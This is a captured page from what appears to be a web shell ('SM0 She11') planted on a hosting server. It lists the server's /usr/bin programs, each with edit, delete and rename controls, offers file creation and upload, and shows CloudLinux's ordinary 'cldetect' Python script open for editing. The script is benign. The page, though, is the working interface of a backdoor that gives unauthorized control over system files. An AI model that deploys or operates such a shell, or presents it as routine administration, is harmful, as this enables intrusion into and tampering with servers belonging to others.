SM0 She11
Path:
/
/
usr
/
bin
Full Path (server): /usr/bin
Create Fil3
Upl04d Fil3
📄 GET
[E]
[D]
[R]
📄 Mail
[E]
[D]
[R]
📄 [
[E]
[D]
[R]
📄 aclocal
[E]
[D]
[R]
📄 aclocal-1.16
[E]
[D]
[R]
📄 addr2line
[E]
[D]
[R]
📄 apropos
[E]
[D]
[R]
📄 ar
[E]
[D]
[R]
📄 arch
[E]
[D]
[R]
📄 arpaname
[E]
[D]
[R]
📄 as
[E]
[D]
[R]
📄 aspell
[E]
[D]
[R]
📄 at
[E]
[D]
[R]
📄 atq
[E]
[D]
[R]
📄 atrm
[E]
[D]
[R]
📄 autoconf
[E]
[D]
[R]
📄 autoheader
[E]
[D]
[R]
📄 autom4te
[E]
[D]
[R]
📄 automake
[E]
[D]
[R]
📄 automake-1.16
[E]
[D]
[R]
📄 autoreconf
[E]
[D]
[R]
📄 autoscan
[E]
[D]
[R]
📄 autoupdate
[E]
[D]
[R]
📄 awk
[E]
[D]
[R]
📄 b2sum
[E]
[D]
[R]
📄 base32
[E]
[D]
[R]
📄 base64
[E]
[D]
[R]
📄 basename
[E]
[D]
[R]
📄 bash
[E]
[D]
[R]
📄 bashbug-64
[E]
[D]
[R]
📄 batch
[E]
[D]
[R]
📄 bison
[E]
[D]
[R]
📄 bunzip2
[E]
[D]
[R]
📄 bzcat
[E]
[D]
[R]
📄 bzcmp
[E]
[D]
[R]
📄 bzdiff
[E]
[D]
[R]
📄 bzgrep
[E]
[D]
[R]
📄 bzip2
[E]
[D]
[R]
📄 bzip2recover
[E]
[D]
[R]
📄 bzless
[E]
[D]
[R]
📄 bzmore
[E]
[D]
[R]
📄 c++
[E]
[D]
[R]
📄 c++filt
[E]
[D]
[R]
📄 c89
[E]
[D]
[R]
📄 c99
[E]
[D]
[R]
📄 cagefs_enter.proxied
[E]
[D]
[R]
📄 cal
[E]
[D]
[R]
📄 captoinfo
[E]
[D]
[R]
📄 cat
[E]
[D]
[R]
📄 catchsegv
[E]
[D]
[R]
📄 catman
[E]
[D]
[R]
📄 cc
[E]
[D]
[R]
📄 chcon
[E]
[D]
[R]
📄 chgrp
[E]
[D]
[R]
📄 chmod
[E]
[D]
[R]
📄 chown
[E]
[D]
[R]
📄 chrt
[E]
[D]
[R]
📄 cksum
[E]
[D]
[R]
📄 cldetect
[E]
[D]
[R]
📄 clear
[E]
[D]
[R]
📄 cmp
[E]
[D]
[R]
📄 col
[E]
[D]
[R]
📄 colcrt
[E]
[D]
[R]
📄 colrm
[E]
[D]
[R]
📄 column
[E]
[D]
[R]
📄 comm
[E]
[D]
[R]
📄 composer
[E]
[D]
[R]
📄 cp
[E]
[D]
[R]
📄 cpan
[E]
[D]
[R]
📄 cpp
[E]
[D]
[R]
📄 crontab
[E]
[D]
[R]
📄 crontab.cagefs
[E]
[D]
[R]
📄 csplit
[E]
[D]
[R]
📄 curl
[E]
[D]
[R]
📄 cut
[E]
[D]
[R]
📄 date
[E]
[D]
[R]
📄 dd
[E]
[D]
[R]
📄 delv
[E]
[D]
[R]
📄 df
[E]
[D]
[R]
📄 diff
[E]
[D]
[R]
📄 diff3
[E]
[D]
[R]
📄 dig
[E]
[D]
[R]
📄 dir
[E]
[D]
[R]
📄 dircolors
[E]
[D]
[R]
📄 dirname
[E]
[D]
[R]
📄 dnstap-read
[E]
[D]
[R]
📄 du
[E]
[D]
[R]
📄 easy_install-3
[E]
[D]
[R]
📄 echo
[E]
[D]
[R]
📄 egrep
[E]
[D]
[R]
📄 enc2xs
[E]
[D]
[R]
📄 enchant
[E]
[D]
[R]
📄 enchant-lsmod
[E]
[D]
[R]
📄 env
[E]
[D]
[R]
📄 eps2eps
[E]
[D]
[R]
📄 eqn
[E]
[D]
[R]
📄 ex
[E]
[D]
[R]
📄 expand
[E]
[D]
[R]
📄 expr
[E]
[D]
[R]
📄 factor
[E]
[D]
[R]
📄 false
[E]
[D]
[R]
📄 fc-cache
[E]
[D]
[R]
📄 fc-cache-64
[E]
[D]
[R]
📄 fc-cat
[E]
[D]
[R]
📄 fc-conflist
[E]
[D]
[R]
📄 fc-list
[E]
[D]
[R]
📄 fc-match
[E]
[D]
[R]
📄 fc-pattern
[E]
[D]
[R]
📄 fc-query
[E]
[D]
[R]
📄 fc-scan
[E]
[D]
[R]
📄 fc-validate
[E]
[D]
[R]
📄 fgrep
[E]
[D]
[R]
📄 file
[E]
[D]
[R]
📄 find
[E]
[D]
[R]
📄 flex
[E]
[D]
[R]
📄 flex++
[E]
[D]
[R]
📄 flock
[E]
[D]
[R]
📄 fmt
[E]
[D]
[R]
📄 fold
[E]
[D]
[R]
📄 free
[E]
[D]
[R]
📄 freetype-config
[E]
[D]
[R]
📄 funzip
[E]
[D]
[R]
📄 g++
[E]
[D]
[R]
📄 gawk
[E]
[D]
[R]
📄 gcc
[E]
[D]
[R]
📄 gcc-ar
[E]
[D]
[R]
📄 gcc-nm
[E]
[D]
[R]
📄 gcc-ranlib
[E]
[D]
[R]
📄 gcov
[E]
[D]
[R]
📄 gcov-dump
[E]
[D]
[R]
📄 gcov-tool
[E]
[D]
[R]
📄 gem
[E]
[D]
[R]
📄 gencat
[E]
[D]
[R]
📄 geoiplookup
[E]
[D]
[R]
📄 geoiplookup6
[E]
[D]
[R]
📄 geqn
[E]
[D]
[R]
📄 getconf
[E]
[D]
[R]
📄 getent
[E]
[D]
[R]
📄 getopt
[E]
[D]
[R]
📄 ghostscript
[E]
[D]
[R]
📄 git
[E]
[D]
[R]
📄 git-receive-pack
[E]
[D]
[R]
📄 git-shell
[E]
[D]
[R]
📄 git-upload-archive
[E]
[D]
[R]
📄 git-upload-pack
[E]
[D]
[R]
📄 gm
[E]
[D]
[R]
📄 gmake
[E]
[D]
[R]
📄 gneqn
[E]
[D]
[R]
📄 gnroff
[E]
[D]
[R]
📄 gpg
[E]
[D]
[R]
📄 gpg-agent
[E]
[D]
[R]
📄 gpg-error
[E]
[D]
[R]
📄 gpg-zip
[E]
[D]
[R]
📄 gpgsplit
[E]
[D]
[R]
📄 gpgv
[E]
[D]
[R]
📄 gpic
[E]
[D]
[R]
📄 gprof
[E]
[D]
[R]
📄 grep
[E]
[D]
[R]
📄 groff
[E]
[D]
[R]
📄 grops
[E]
[D]
[R]
📄 grotty
[E]
[D]
[R]
📄 groups
[E]
[D]
[R]
📄 gs
[E]
[D]
[R]
📄 gsnd
[E]
[D]
[R]
📄 gsoelim
[E]
[D]
[R]
📄 gtar
[E]
[D]
[R]
📄 gtbl
[E]
[D]
[R]
📄 gtroff
[E]
[D]
[R]
📄 gunzip
[E]
[D]
[R]
📄 gzexe
[E]
[D]
[R]
📄 gzip
[E]
[D]
[R]
📄 h2ph
[E]
[D]
[R]
📄 h2xs
[E]
[D]
[R]
📄 head
[E]
[D]
[R]
📄 hexdump
[E]
[D]
[R]
📄 host
[E]
[D]
[R]
📄 hostid
[E]
[D]
[R]
📄 hostname
[E]
[D]
[R]
📄 hunspell
[E]
[D]
[R]
📄 iconv
[E]
[D]
[R]
📄 id
[E]
[D]
[R]
📄 idn
[E]
[D]
[R]
📄 ifnames
[E]
[D]
[R]
📄 infocmp
[E]
[D]
[R]
📄 infotocap
[E]
[D]
[R]
📄 install
[E]
[D]
[R]
📄 instmodsh
[E]
[D]
[R]
📄 ionice
[E]
[D]
[R]
📄 ipcrm
[E]
[D]
[R]
📄 ipcs
[E]
[D]
[R]
📄 isosize
[E]
[D]
[R]
📄 ispell
[E]
[D]
[R]
📄 join
[E]
[D]
[R]
📄 kill
[E]
[D]
[R]
📄 ld
[E]
[D]
[R]
📄 ld.bfd
[E]
[D]
[R]
📄 ldd
[E]
[D]
[R]
📄 less
[E]
[D]
[R]
📄 lessecho
[E]
[D]
[R]
📄 lesskey
[E]
[D]
[R]
📄 lesspipe.sh
[E]
[D]
[R]
📄 lex
[E]
[D]
[R]
📄 lexgrog
[E]
[D]
[R]
📄 lftp
[E]
[D]
[R]
📄 lftpget
[E]
[D]
[R]
📄 libnetcfg
[E]
[D]
[R]
📄 libtool
[E]
[D]
[R]
📄 libtoolize
[E]
[D]
[R]
📄 link
[E]
[D]
[R]
📄 ln
[E]
[D]
[R]
📄 locale
[E]
[D]
[R]
📄 localedef
[E]
[D]
[R]
📄 logger
[E]
[D]
[R]
📄 login
[E]
[D]
[R]
📄 logname
[E]
[D]
[R]
📄 look
[E]
[D]
[R]
📄 ls
[E]
[D]
[R]
📄 lynx
[E]
[D]
[R]
📄 m4
[E]
[D]
[R]
📄 mail
[E]
[D]
[R]
📄 mailx
[E]
[D]
[R]
📄 make
[E]
[D]
[R]
📄 make-dummy-cert
[E]
[D]
[R]
📄 man
[E]
[D]
[R]
📄 mandb
[E]
[D]
[R]
📄 manpath
[E]
[D]
[R]
📄 mariadb
[E]
[D]
[R]
📄 mariadb-access
[E]
[D]
[R]
📄 mariadb-admin
[E]
[D]
[R]
📄 mariadb-binlog
[E]
[D]
[R]
📄 mariadb-check
[E]
[D]
[R]
📄 mariadb-conv
[E]
[D]
[R]
📄 mariadb-convert-table-format
[E]
[D]
[R]
📄 mariadb-dump
[E]
[D]
[R]
📄 mariadb-dumpslow
[E]
[D]
[R]
📄 mariadb-embedded
[E]
[D]
[R]
📄 mariadb-find-rows
[E]
[D]
[R]
📄 mariadb-hotcopy
[E]
[D]
[R]
📄 mariadb-import
[E]
[D]
[R]
📄 mariadb-plugin
[E]
[D]
[R]
📄 mariadb-secure-installation
[E]
[D]
[R]
📄 mariadb-setpermission
[E]
[D]
[R]
📄 mariadb-show
[E]
[D]
[R]
📄 mariadb-slap
[E]
[D]
[R]
📄 mariadb-tzinfo-to-sql
[E]
[D]
[R]
📄 mariadb-waitpid
[E]
[D]
[R]
📄 mcookie
[E]
[D]
[R]
📄 md5sum
[E]
[D]
[R]
📄 mesg
[E]
[D]
[R]
📄 mkdir
[E]
[D]
[R]
📄 mkfifo
[E]
[D]
[R]
📄 mknod
[E]
[D]
[R]
📄 mktemp
[E]
[D]
[R]
📄 more
[E]
[D]
[R]
📄 msql2mysql
[E]
[D]
[R]
📄 mv
[E]
[D]
[R]
📄 my_print_defaults
[E]
[D]
[R]
📄 mysql
[E]
[D]
[R]
📄 mysql_config
[E]
[D]
[R]
📄 mysql_find_rows
[E]
[D]
[R]
📄 mysql_waitpid
[E]
[D]
[R]
📄 mysqlaccess
[E]
[D]
[R]
📄 mysqladmin
[E]
[D]
[R]
📄 mysqlbinlog
[E]
[D]
[R]
📄 mysqlcheck
[E]
[D]
[R]
📄 mysqldump
[E]
[D]
[R]
📄 mysqlimport
[E]
[D]
[R]
📄 mysqlshow
[E]
[D]
[R]
📄 mytop
[E]
[D]
[R]
📄 namei
[E]
[D]
[R]
📄 nano
[E]
[D]
[R]
📄 neqn
[E]
[D]
[R]
📄 nice
[E]
[D]
[R]
📄 nl
[E]
[D]
[R]
📄 nm
[E]
[D]
[R]
📄 nohup
[E]
[D]
[R]
📄 nproc
[E]
[D]
[R]
📄 nroff
[E]
[D]
[R]
📄 nslookup
[E]
[D]
[R]
📄 nsupdate
[E]
[D]
[R]
📄 numfmt
[E]
[D]
[R]
📄 objcopy
[E]
[D]
[R]
📄 objdump
[E]
[D]
[R]
📄 od
[E]
[D]
[R]
📄 openssl
[E]
[D]
[R]
📄 pango-list
[E]
[D]
[R]
📄 pango-view
[E]
[D]
[R]
📄 passwd
[E]
[D]
[R]
📄 paste
[E]
[D]
[R]
📄 patch
[E]
[D]
[R]
📄 pathchk
[E]
[D]
[R]
📄 pdf2dsc
[E]
[D]
[R]
📄 pdf2ps
[E]
[D]
[R]
📄 perl
[E]
[D]
[R]
📄 perl5.26.3
[E]
[D]
[R]
📄 perlbug
[E]
[D]
[R]
📄 perldoc
[E]
[D]
[R]
📄 perlivp
[E]
[D]
[R]
📄 perlml
[E]
[D]
[R]
📄 perlthanks
[E]
[D]
[R]
📄 pgrep
[E]
[D]
[R]
📄 php
[E]
[D]
[R]
📄 pic
[E]
[D]
[R]
📄 piconv
[E]
[D]
[R]
📄 pinentry
[E]
[D]
[R]
📄 pinentry-curses
[E]
[D]
[R]
📄 ping
[E]
[D]
[R]
📄 pinky
[E]
[D]
[R]
📄 pip-3
[E]
[D]
[R]
📄 pip3
[E]
[D]
[R]
📄 pkg-config
[E]
[D]
[R]
📄 pkgconf
[E]
[D]
[R]
📄 pkill
[E]
[D]
[R]
📄 pl2pm
[E]
[D]
[R]
📄 pmap
[E]
[D]
[R]
📄 pod2html
[E]
[D]
[R]
📄 pod2man
[E]
[D]
[R]
📄 pod2text
[E]
[D]
[R]
📄 pod2usage
[E]
[D]
[R]
📄 podchecker
[E]
[D]
[R]
📄 podselect
[E]
[D]
[R]
📄 post-grohtml
[E]
[D]
[R]
📄 pr
[E]
[D]
[R]
📄 pre-grohtml
[E]
[D]
[R]
📄 precat
[E]
[D]
[R]
📄 preunzip
[E]
[D]
[R]
📄 prezip
[E]
[D]
[R]
📄 prezip-bin
[E]
[D]
[R]
📄 printenv
[E]
[D]
[R]
📄 printf
[E]
[D]
[R]
📄 prove
[E]
[D]
[R]
📄 ps
[E]
[D]
[R]
📄 ps2ascii
[E]
[D]
[R]
📄 ps2epsi
[E]
[D]
[R]
📄 ps2pdf
[E]
[D]
[R]
📄 ps2pdf12
[E]
[D]
[R]
📄 ps2pdf13
[E]
[D]
[R]
📄 ps2pdf14
[E]
[D]
[R]
📄 ps2pdfwr
[E]
[D]
[R]
📄 ps2ps
[E]
[D]
[R]
📄 ps2ps2
[E]
[D]
[R]
📄 ptx
[E]
[D]
[R]
📄 pwd
[E]
[D]
[R]
📄 pwdx
[E]
[D]
[R]
📄 pydoc-3
[E]
[D]
[R]
📄 pydoc3
[E]
[D]
[R]
📄 python3
[E]
[D]
[R]
📄 python3.6
[E]
[D]
[R]
📄 python3.6m
[E]
[D]
[R]
📄 pyvenv-3
[E]
[D]
[R]
📄 ranlib
[E]
[D]
[R]
📄 raw
[E]
[D]
[R]
📄 readelf
[E]
[D]
[R]
📄 readlink
[E]
[D]
[R]
📄 realpath
[E]
[D]
[R]
📄 recode
[E]
[D]
[R]
📄 rename
[E]
[D]
[R]
📄 renew-dummy-cert
[E]
[D]
[R]
📄 renice
[E]
[D]
[R]
📄 replace
[E]
[D]
[R]
📄 reset
[E]
[D]
[R]
📄 rev
[E]
[D]
[R]
📄 rm
[E]
[D]
[R]
📄 rmdir
[E]
[D]
[R]
📄 rnano
[E]
[D]
[R]
📄 rsync
[E]
[D]
[R]
📄 ruby
[E]
[D]
[R]
📄 run-with-aspell
[E]
[D]
[R]
📄 runcon
[E]
[D]
[R]
📄 rvi
[E]
[D]
[R]
📄 rview
[E]
[D]
[R]
📄 rvim
[E]
[D]
[R]
📄 scalar
[E]
[D]
[R]
📄 scl
[E]
[D]
[R]
📄 scl_enabled
[E]
[D]
[R]
📄 scl_source
[E]
[D]
[R]
📄 scp
[E]
[D]
[R]
📄 screen
[E]
[D]
[R]
📄 script
[E]
[D]
[R]
📄 sdiff
[E]
[D]
[R]
📄 sed
[E]
[D]
[R]
📄 selectorctl
[E]
[D]
[R]
📄 seq
[E]
[D]
[R]
📄 setsid
[E]
[D]
[R]
📄 setterm
[E]
[D]
[R]
📄 sftp
[E]
[D]
[R]
📄 sh
[E]
[D]
[R]
📄 sha1sum
[E]
[D]
[R]
📄 sha224sum
[E]
[D]
[R]
📄 sha256sum
[E]
[D]
[R]
📄 sha384sum
[E]
[D]
[R]
📄 sha512sum
[E]
[D]
[R]
📄 shred
[E]
[D]
[R]
📄 shuf
[E]
[D]
[R]
📄 size
[E]
[D]
[R]
📄 skill
[E]
[D]
[R]
📄 slabtop
[E]
[D]
[R]
📄 sleep
[E]
[D]
[R]
📄 snice
[E]
[D]
[R]
📄 soelim
[E]
[D]
[R]
📄 sort
[E]
[D]
[R]
📄 spell
[E]
[D]
[R]
📄 splain
[E]
[D]
[R]
📄 split
[E]
[D]
[R]
📄 sprof
[E]
[D]
[R]
📄 sqlite3
[E]
[D]
[R]
📄 ssh
[E]
[D]
[R]
📄 ssh-add
[E]
[D]
[R]
📄 ssh-agent
[E]
[D]
[R]
📄 ssh-copy-id
[E]
[D]
[R]
📄 ssh-keygen
[E]
[D]
[R]
📄 ssh-keyscan
[E]
[D]
[R]
📄 stat
[E]
[D]
[R]
📄 stdbuf
[E]
[D]
[R]
📄 strace
[E]
[D]
[R]
📄 strings
[E]
[D]
[R]
📄 strip
[E]
[D]
[R]
📄 stty
[E]
[D]
[R]
📄 sum
[E]
[D]
[R]
📄 sync
[E]
[D]
[R]
📄 tabs
[E]
[D]
[R]
📄 tac
[E]
[D]
[R]
📄 tail
[E]
[D]
[R]
📄 tar
[E]
[D]
[R]
📄 taskset
[E]
[D]
[R]
📄 tbl
[E]
[D]
[R]
📄 tclsh
[E]
[D]
[R]
📄 tclsh8.6
[E]
[D]
[R]
📄 tee
[E]
[D]
[R]
📄 test
[E]
[D]
[R]
📄 tic
[E]
[D]
[R]
📄 timeout
[E]
[D]
[R]
📄 tload
[E]
[D]
[R]
📄 tmpwatch
[E]
[D]
[R]
📄 toe
[E]
[D]
[R]
📄 top
[E]
[D]
[R]
📄 touch
[E]
[D]
[R]
📄 tput
[E]
[D]
[R]
📄 tr
[E]
[D]
[R]
📄 troff
[E]
[D]
[R]
📄 true
[E]
[D]
[R]
📄 truncate
[E]
[D]
[R]
📄 tset
[E]
[D]
[R]
📄 tsort
[E]
[D]
[R]
📄 tty
[E]
[D]
[R]
📄 tzselect
[E]
[D]
[R]
📄 uapi
[E]
[D]
[R]
📄 ul
[E]
[D]
[R]
📄 uname
[E]
[D]
[R]
📄 unexpand
[E]
[D]
[R]
📄 uniq
[E]
[D]
[R]
📄 unlink
[E]
[D]
[R]
📄 unversioned-python
[E]
[D]
[R]
📄 unzip
[E]
[D]
[R]
📄 unzipsfx
[E]
[D]
[R]
📄 uptime
[E]
[D]
[R]
📄 users
[E]
[D]
[R]
📄 utmpdump
[E]
[D]
[R]
📄 vdir
[E]
[D]
[R]
📄 vi
[E]
[D]
[R]
📄 view
[E]
[D]
[R]
📄 vim
[E]
[D]
[R]
📄 vimdiff
[E]
[D]
[R]
📄 vimtutor
[E]
[D]
[R]
📄 vmstat
[E]
[D]
[R]
📄 watch
[E]
[D]
[R]
📄 wc
[E]
[D]
[R]
📄 wget
[E]
[D]
[R]
📄 whatis
[E]
[D]
[R]
📄 whereis
[E]
[D]
[R]
📄 which
[E]
[D]
[R]
📄 who
[E]
[D]
[R]
📄 whoami
[E]
[D]
[R]
📄 word-list-compress
[E]
[D]
[R]
📄 wp
[E]
[D]
[R]
📄 x86_64-redhat-linux-c++
[E]
[D]
[R]
📄 x86_64-redhat-linux-g++
[E]
[D]
[R]
📄 x86_64-redhat-linux-gcc
[E]
[D]
[R]
📄 x86_64-redhat-linux-gcc-8
[E]
[D]
[R]
📄 xargs
[E]
[D]
[R]
📄 xmlcatalog
[E]
[D]
[R]
📄 xmllint
[E]
[D]
[R]
📄 xmlwf
[E]
[D]
[R]
📄 xsltproc
[E]
[D]
[R]
📄 xsubpp
[E]
[D]
[R]
📄 xxd
[E]
[D]
[R]
📄 yes
[E]
[D]
[R]
📄 zcat
[E]
[D]
[R]
📄 zcmp
[E]
[D]
[R]
📄 zdiff
[E]
[D]
[R]
📄 zegrep
[E]
[D]
[R]
📄 zfgrep
[E]
[D]
[R]
📄 zforce
[E]
[D]
[R]
📄 zgrep
[E]
[D]
[R]
📄 zip
[E]
[D]
[R]
📄 zipcloak
[E]
[D]
[R]
📄 zipgrep
[E]
[D]
[R]
📄 zipinfo
[E]
[D]
[R]
📄 zipnote
[E]
[D]
[R]
📄 zipsplit
[E]
[D]
[R]
📄 zless
[E]
[D]
[R]
📄 zmore
[E]
[D]
[R]
📄 znew
[E]
[D]
[R]
📄 zsoelim
[E]
[D]
[R]
Editing: cldetect
#!/opt/cloudlinux/venv/bin/python3 -sbb # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENCE.TXT # import getopt import os import sys import textwrap import cldetectlib as detect import cllicenselib as cllicense import clsetuplib as clsetup from clcommon.lib.cledition import get_cl_edition_readable, skip_without_lve from clcommon.utils import get_os_version, is_ea4, is_nginx_running # Check for root def check_root(): if os.geteuid() != 0: print("Error: root privileges required. Abort.") sys.exit(-1) # Show help def print_usage() -> None: help_message = """ -h | --help show this message --detect-cp print control panel and its version (CP_NAME, CP_VERSION) --detect-cp-full print control panel, version and panel specific data (CP_NAME, CP_VERSION, ...) Specific data: for ISP Manager5 - Master/Node --detect-cp-nameonly print control panel name (CP_NAME) --get-admin-email print control panel admin email (CP_ADMIN_EMAIL) --cxs-installed check if CXS is installed. Returns 0 if installed, 1 otherwise --cpanel-suphp-enabled check if suPHP is enabled in cPanel. Returns 0 if enabled, 1 otherwise --detect-litespeed check if LiteSpeed is installed. Returns 0 if installed, 1 otherwise --detect-postgresql check if PostGreSQL is installed. Returns 0 if installed, 1 otherwise --detect-ea4 check if EA4 is installed. Only for cPanel --detect-nginx check if nginx is running --print-apache-gid print current apache gid --print-da-admin print DirectAdmin admin user --set-securelinks-gid change sysctl conf if apache gid != 48 (default) --set-nagios do some adjustments to make nagios work correctly if it's installed --setup-supergids do some adjustments to make some software work correctly if it's installed --cl-setup check if CloudLinux is installing. Returns 0 if installing, 1 otherwise --update-license update license --update-new-key update license with new key --check-license check license. Return OK if license is not older than 3 days, error message otherwise --check-license --quiet check license. Exit with code 0 if license is not older than 3 days, 1 otherwise --no-valid-license-screen return 'no valid license found' screen --license-out-of-date-email return the 'license out of date' email --check-openvz return environment ID --detect-edition return edition of CloudLinux --detect-os print OS name and version (OS_NAME,OS_VERSION) --detect-os-nameonly print OS name only (OS_NAME) """ # noqa: E501 # Strip newlines from the start and end # Keep in mind that multi-line indentation is preserved print(help_message.strip("\n")) def update_new_key(key): cllicense.update_license_with_key(key) def check_license(quiet): is_license_valid = cllicense.check_license() if quiet: if is_license_valid: sys.exit(0) else: sys.exit(1) else: print(cllicense.last_license_check(is_license_valid)) sys.exit(0) def main(): try: opts, args = getopt.getopt( sys.argv[1:], "hq", [ "help", "quiet", "detect-cp", "detect-cp-full", "detect-cp-nameonly", "cxs-installed", "cpanel-suphp-enabled", "get-admin-email", "print-apache-gid", "detect-litespeed", "detect-postgresql", "set-securelinks-gid", "print-da-admin", "cl-setup", "set-nagios", "update-license", "update-new-key", "check-license", "no-valid-license-screen", "license-out-of-date-email", "check-openvz", "detect-ea4", "detect-nginx", "setup-supergids", "detect-edition", "detect-os", "detect-os-nameonly", ], ) except getopt.GetoptError: print("error: unknown command") print_usage() sys.exit(1) executed = False quiet = False for option, _argument in opts: if option in ("--quiet", "-q"): quiet = True break skipped_without_lve_checks = ("--set-securelinks-gid", "--set-nagios", "--setup-supergids") for option, _argument in opts: if option in skipped_without_lve_checks: skip_without_lve() if option in ("--help", "-h"): executed = True check_root() print_usage() elif option in ("--cxs-installed",): executed = True check_root() if detect.CXS_check(): sys.exit(0) else: sys.exit(1) elif option in ("--detect-cp",): executed = True check_root() detect.getCP() print(str(detect.CP_NAME) + "," + str(detect.CP_VERSION)) elif option in ("--detect-cp-full",): executed = True check_root() detect.getCP() cp_name = str(detect.CP_NAME) cp_version = str(detect.CP_VERSION) if detect.CP_ISP_TYPE: # Panel additional info present print(f"{cp_name},{cp_version},{detect.CP_ISP_TYPE}") else: # No panel additional info present print(f"{cp_name},{cp_version}") elif option in ("--detect-cp-nameonly",): executed = True check_root() detect.getCPName() print(str(detect.CP_NAME)) elif option in ("--get-admin-email",): executed = True check_root() print(detect.getCPAdminEmail()) elif option in ("--cpanel-suphp-enabled",): executed = True check_root() if detect.mod_suPHP_check(): sys.exit(0) else: sys.exit(1) elif option in ("--detect-litespeed",): executed = True check_root() if detect.detect_litespeed(): sys.exit(0) else: sys.exit(1) elif option in ("--detect-postgresql",): executed = True check_root() if detect.detect_postgresql(): sys.exit(0) else: sys.exit(1) elif option in ("--print-apache-gid",): executed = True check_root() if detect.get_apache_gid(): print(detect.APACHE_GID) else: print("error: unknown control panel") elif option in ("--set-securelinks-gid",): executed = True check_root() if detect.get_apache_gid(): clsetup.set_securelinks_gid(detect.APACHE_GID) # Actually, this command could be removed because it's a sub-set of # --setup-supergids, but I left it here only for backward compatibility elif option in ("--set-nagios",): executed = True check_root() clsetup.setup_nagios() elif option in ("--setup-supergids",): executed = True check_root() clsetup.setup_supergids() elif option in ("--print-da-admin",): executed = True check_root() admin = detect.detect_DA_admin() if admin: print(admin) else: print("Error: can not find admin user for DirectAdmin") elif option in ("--cl-setup",): executed = True check_root() if detect.check_CL_installing(): sys.exit(0) else: sys.exit(1) elif option in ("--update-license",): executed = True check_root() cllicense.update_license_timestamp_file() elif option in ("--update-new-key",): executed = True check_root() try: update_new_key(args[0].strip()) except: print("Error: key required.") sys.exit(1) elif option in ("--check-license",): executed = True check_license(quiet) elif option in ("--no-valid-license-screen",): executed = True check_root() print(cllicense.get_novalid_template()) elif option in ("--license-out-of-date-email",): executed = True check_root() print(cllicense.get_email_template()) elif option in ("--check-openvz",): executed = True result = detect.is_openvz() sys.stdout.write(str(result)) elif option in ("--detect-ea4",): executed = True if is_ea4(): print("EA4 detected") else: print("No EA4 detected") elif option in ("--detect-nginx",): executed = True if is_nginx_running(): print("Nginx is running") else: print("Nginx is not running") elif option in ("--detect-edition",): executed = True print(get_cl_edition_readable()) elif option in ("--detect-os",): executed = True os_name, os_ver = get_os_version() print(os_name, os_ver) elif option in ("--detect-os-nameonly",): executed = True os_name, _ = get_os_version() print(os_name) if not executed: print("error: argument required") print_usage() sys.exit(1) if __name__ == "__main__": main()
Save